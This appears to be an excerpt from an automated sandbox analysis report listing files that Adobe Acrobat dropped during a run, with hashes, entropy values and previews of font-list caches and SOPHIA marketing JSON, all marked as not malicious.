Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.382734906257619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJM3g98kUwPeUkwRe9:YvXKX6rQf7DEZc0vkOGMbLUkee9
MD5:	F0490D9ACC76B6F1CF4500586088F38E
SHA1:	A45FF1E92B889FFC37A7AE52DF90B7044CE77B06
SHA-256:	10C3C40B98BA10B403C8973E5F995C2EA8D2B1FB2C290E65789A7F6E93D5F7CA
SHA-512:	82CC5A107EC948DA1D5628DF4069443C340C8F915059F148CBA2713E5BFBBD9BF0D5725038A602BB4FCE5FD9546A1BE575D74F1DA40BE29654B9FD1A9E01FE37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.336837194370351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfBoTfXpnrPeUkwRe9:YvXKX6rQf7DEZc0vkOGWTfXcUkee9
MD5:	95804F66E0018E8EB87A7379C970A5DF
SHA1:	4127B91E12A838EFD418DD8229A088446F97C5A8
SHA-256:	A0503625BAF3C91FAC7E36AEC52D8535E05DDD9F0FA003A6337FE2470E9604E8
SHA-512:	DDFED4938890C7879149C088E87A83408F6F6667080DEBC9E28B2E60F368D52A9CAE9BFD645F46A40CD48F1DA077FE3A62410651D9080FF2B60D1FCD6E68C59D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315236513238782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfBD2G6UpnrPeUkwRe9:YvXKX6rQf7DEZc0vkOGR22cUkee9
MD5:	141C8D48A84B1D26AF26CF26124EA343
SHA1:	71B55B349E4999F002D8D1F71C2BE6B1675FE4D2
SHA-256:	D5855865C0BA55C59878B1B34F31525098C8A8F4D4444ADD17C4BC8FF88E6839
SHA-512:	E551E902298F552229DFD4C8B02B788EFDDF0E9E8E5A7BFC2490D7587801FF284EB02B730F4497ABFDEA68CFCF458417B70BB53E6072770DC0426D555C8CE07B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.370425114906829
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfPmwrPeUkwRe9:YvXKX6rQf7DEZc0vkOGH56Ukee9
MD5:	0E7B6E1F2B13BD86E1EC62BA6D46EB5B
SHA1:	F821A96F1EA18764A2975A1A30F85D39D9142D85
SHA-256:	DB36DA8FE91CE972FE905D5E1305004BA3EB22F2E366E51402E809C3297D96DA
SHA-512:	2209044E91CEA61FB74E496AFDF61FFE1FC41737A61B161D6DA0009A42DF4735B9F50A866ED00062F90C706D55EA9C2B715118B8B6C0A081CF7313DC4B3A5F79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688158891485979
Encrypted:	false
SSDEEP:	24:Yv6X+EDEzv4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSt:YvBQhgy6SAFv5Ah8cv/t
MD5:	8D182F97C863C87ECBA1651428A2CAE4
SHA1:	675D2F64B56E215BD851E5651EC59B21D8DB1757
SHA-256:	9D115A50E9F3FA3A87B8D18033E0F84B6091B604BCD85D95EC1E3F9CBC1CBC6D
SHA-512:	38F2F5192AE63075093E9C5DB8415562020402DB6933D4E087C4EBDA0EDE87FACEDF724B1B3EE0B6F496A57DA30D8F49F5766901FBBF4B8BC39BC37238E3E47A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317466268896762
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJf8dPeUkwRe9:YvXKX6rQf7DEZc0vkOGU8Ukee9
MD5:	36F319C6F5C5D255370CABBE1F6A6627
SHA1:	F0F10907AA797A5A2E6EED1FDF5DB51F814B6945
SHA-256:	A6451D24ED16465A307A9A8BAE3D54A933CA1FD30607EE90192A2D9A8BE64221
SHA-512:	3F34118E4FB4F9B2D539591BC565A0CA59487704F6AFDA7A67D72EF7FCFE64A4DA51B2A2EF1DD7DCFF5F00388CF6397D6FBB8823DB10BA05E479A90408EB55DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.321787253329807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfQ1rPeUkwRe9:YvXKX6rQf7DEZc0vkOGY16Ukee9
MD5:	43F7DDCA1CC8A886966E451D3DA5D053
SHA1:	AA3BD79672790A041E50B52FEDBD448A987FF906
SHA-256:	1D33CCA88CA08D019F55005E2F67A5F1BA4A2989F98F9DF41CD4E63CAC42508E
SHA-512:	A35BE99906159F7E67385B6E804611A26C3C509E6EBE14942FF6D2EEE923511705212622B5D24F1FE765113EDE2A04A8082B689F87A23D952A9A3A5930A9D668
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325433415790054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfFldPeUkwRe9:YvXKX6rQf7DEZc0vkOGz8Ukee9
MD5:	A5B909A871FB650A03DF387CE91EAF4C
SHA1:	09EA61C16032E71CC2A09ADDBAD9F6D254499174
SHA-256:	6C53F426F2F03A26AAA913FDEF93596C3548C5EFE98D98C5033EE2C26DFCA2A0
SHA-512:	7F8FC6FF4760E843F49A7B9BE8759E4836C134A8C2712A847122AE79B9B299F5CBFDE7CB1DA70533F4CF9DDC1091084E5C2B512B292E02003F271DB73FB5B42B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342733994190569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfzdPeUkwRe9:YvXKX6rQf7DEZc0vkOGb8Ukee9
MD5:	85E061F285E55C0FB9D23B979FCDEE23
SHA1:	51EF8E042532D36E72EA1B7A88844A1C937B1DBD
SHA-256:	B3B4962CF4AE4374FC7490719ED68C1A799087ADB2FB8F44B3CE58D853F24FCF
SHA-512:	7FC1623ED082738F74B3D4B8F1885E8725DA014CD1F95A9E4B9B9D23463D967AE015FE5D123068017E43DFF807A8B9210F28D0155E96AA548FDBDF4793A47682
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323862935025267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfYdPeUkwRe9:YvXKX6rQf7DEZc0vkOGg8Ukee9
MD5:	7ABC2A60C720ADA1B6452467D5AE8EAB
SHA1:	F49572CF51BDF611D34823BA40C4F4B28FFB4A55
SHA-256:	48EEB80A44972B300D756C76FA7FDC0DD2F182182B82186E7E053C5C02BFF133
SHA-512:	816762784BAECBA2C9B538D05601F7672A49A197589EC4F5E3E66BA0711C820122A39AE267CAD4BD562FA51DCBA8459A568ADDDC52E23179C4E930CAE2973876
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310015728410614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJf+dPeUkwRe9:YvXKX6rQf7DEZc0vkOG28Ukee9
MD5:	15822B0E571C924D22E45F5712A4D804
SHA1:	51C63A9D3C7E38B0F6FD4460E0C8C70E6B04387D
SHA-256:	0B82FBC2B508AE5C2E12AC85B5E3CE2B6983E4F526C87AEE75CB35EEF8BB6337
SHA-512:	1CD470842626F620F0CFB8E6F2B96CD057670B293A30673AA0654D55C0BA47F9CC5864868066D0FAE89E44D00D4BA4FC128B31E9AF6DC864DB70C6361077174B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.307246026272838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfbPtdPeUkwRe9:YvXKX6rQf7DEZc0vkOGDV8Ukee9
MD5:	FC8D7D2C8EC66B5C1F77A44648671492
SHA1:	D1398647D3C868A4EA019B1E4549EAA5BB283AF0
SHA-256:	9810CA629E46EFA18872886C6BF7FBCC899319FFD79467FF9BAC16B05EE5ECFE
SHA-512:	F3AE8CFBCC92469F3FF669131E3A08A47DD0BFAEB795E7F44EDBF3D9EDD3A9DCA9087EC088A058B146757A190EA35F52A3FE9B3A06E4035EAE659D32A1CC62AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312227777565496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJf21rPeUkwRe9:YvXKX6rQf7DEZc0vkOG+16Ukee9
MD5:	0CEEE6486A09D7970DBFDCE228EF6E78
SHA1:	5F18D9DB6CF5E1483B6A575FCCA066B482A9A13D
SHA-256:	C64F36267C526056AFCFA0A4C05BF836461B58C6082063C9C54878EE30602F62
SHA-512:	9E0BE34AE543E605874C035E07D7CD369746001211B094ECAE40CEF21847EC113ABA19A845880A067119FED657AF1B2BCE35755164778CFACCB963DE8CF6C7A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663695307721926
Encrypted:	false
SSDEEP:	24:Yv6X+EDEzvMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSt:YvBSBgkDMUJUAh8cvMt
MD5:	C64E311A6447FAEA08578A1317A604EF
SHA1:	12CC2AF0DDBA2AC86AC887F2DACA2D6FE96876F7
SHA-256:	D37B24F224E80AD0774635410F81D104A3F06310C10FDEC7D6102B4D2D168E05
SHA-512:	A36882380BCAE6EECAA4CDCE6E69D36DAF15A3FD1004F9173CC78B89C367E327D931DAC1B20FE59362977DD59EBC44F21FB79A7420AC5D6F4FDDE1289B51126E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.286496094344048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJfshHHrPeUkwRe9:YvXKX6rQf7DEZc0vkOGUUUkee9
MD5:	EF3233F22957CF4083CA0FBC1D4F3473
SHA1:	FDF4D9B77623C51559E3539BED93153A1D802363
SHA-256:	9A6823B7F01ACDC97F9AD9E535DBCEE3EB33ABD914472BF5A8C897C32EF9BF84
SHA-512:	F9ECF0594ABF584517DE255CAE875C39DAF26FBAF699A83C026DE7FDCEE43787C18256701E1D9FD2FA14898F459518EF0588E3D704A5F42562F21334C7FE4BFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.300060748227029
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUSYBu2BDCf6cBlH9VoZcg1vRcR0YUYieoAvJTqgFCrPeUkwRe9:YvXKX6rQf7DEZc0vkOGTq16Ukee9
MD5:	160E8786954713AA0049A3D7A2E5C537
SHA1:	DFE5F7101D9E333F41B85B5AF02C915728D12C3D
SHA-256:	EBECB970B811E364873A4BC3F121C4D167A7E5885630284F433A1CD900CDBA80
SHA-512:	F38DA4C3BB5C5105F47DC8DAA15A7AA40260AF67050AA6B49EC3FE109DEEA3059F483229C44C46DB8C32D5DAC3AA7B3B15DD2BCFA909504010CE7A9CE688D15D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"815ba79d-6b3d-4879-9460-b9699cba31d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736741366208,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136467466593397
Encrypted:	false
SSDEEP:	24:Yb00a1oayPiTsOzKMM0E1wTD8jHjj0SY6RCQ2s72LSCC8fj2Pn7r5dnAh9jupOG:YSL00EfP/Rj1g1fj2fnDAh9u
MD5:	412AFCAF75572373262D945512162F8A
SHA1:	D4D5EB57D4734804CE4DE45714826ED50FEA79CF
SHA-256:	6552E1E5795523404D79B95DC69E3190446717CE652CA2ACFAEAF78AB72CCB62
SHA-512:	5F216902A5B738204AC94AA084E7145446011020990CC21A121BBD4396CF5A605F2C2DE6072FCDB101B4FD5912DB75104AF5A935403AD27816DF665F7357C797
